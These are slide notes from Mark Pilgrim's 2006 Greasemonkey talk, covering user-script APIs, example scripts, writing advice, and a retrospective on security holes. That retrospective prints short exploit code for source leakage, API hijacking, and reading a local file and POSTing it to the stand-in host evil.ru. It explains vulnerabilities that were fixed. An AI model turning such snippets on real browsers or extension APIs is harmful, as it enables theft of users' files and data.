Greasemonkey

Teaching an old web new tricks

Mark Pilgrim

March 7, 2006

Greasemonkey Is User JavaScript

End User Customization

Google

Google search results

Google + Butler

Google search results with Butler

My Web != Your Web

More Than JavaScript

GM_log
logs messages to JavaScript Console
GM_setValue, GM_getValue
store and retrieve local data (not cookies)
GM_registerMenuCommand
adds items to Firefox Tools menu
GM_openInTab
opens a new tab (not window)
GM_xmlhttpRequest
sends or retrieves data from any site, anywhere, at any time

More Than JavaScript

GM_log
logs messages to JavaScript Console
GM_setValue, GM_getValue
store and retrieve local data (not cookies)
GM_registerMenuCommand
adds items to Firefox Tools menu
GM_openInTab
opens a new tab (not window)
GM_xmlhttpRequest
sends or retrieves data from any site, anywhere, at any time

Site Integration

Book Burro
price comparison agent on Amazon, B&N, eBay
Wikipedia Proxy
adds WikiLinks to any page
OmniFeedster
displays incoming links on any page
RIAA Radar
“Passive activism” agent

Unofficial web services

Detour

Detour

How to become an expert

How to write

What to write

When to write

?

How to become an expert

Why aren’t there more experts?

Dive Into Python

Dive Into Python

Dive Into Python

Little-known facts:

Dive Into Python, 3 years later

Greasemonkey

Little-known fact:

Dive Into Greasemonkey

Dive Into Greasemonkey, 1 year later

I may never write a line of JavaScript again

When to write

When to stop writing

Greasemonkey Past

Anatomy of a security hole

Hole #1: source leakage

Source leakage exploit


_scripts = [];
_c = document.getElementsByTagName("script").length;

function trapInsertScript(event) {
  var doc = event.currentTarget;
  var arScripts = doc.getElementsByTagName("script");
  if (arScripts.length > _numPreviousScripts) {
    _scripts.push(arScripts[_c++].innerHTML);
  }
}
document.addEventListener("DOMNodeInserted",
  trapInsertScript, true);

Hole #2: API leakage

API leakage exploit


_GM_xmlhttpRequest = null;

function trapGM(prop, oldVal, newVal) {
  _GM_xmlhttpRequest = window.GM_xmlhttpRequest;
  return newVal;
}

window.watch("GM_log", trapGM);

Hole #3: local file access

Local file access exploit


_GM_xmlhttpRequest({
  method: "GET",
  url: "file:///c:/boot.ini",
  onload: function(oResponseDetails) {
    _GM_xmlhttpRequest({
      method: "POST",
      url: "http://evil.ru/",
      data: oResponseDetails.responseText
    });
  }
});

Solution part 1: Sandboxing

Solution part 2: XPCNativeWrappers

XPCNativeWrappers

Greasemonkey Future

End Users

Developers

Prototyping Firefox extensions

More for developers

Community features

userscripts.org contains 100s of user scripts

Accessibility

Target logo

ZoomGoogle

Zoom Google

Google results + ZoomGoogle

Zoom Google

References

[Wesley with Greasemonkey Hacks book]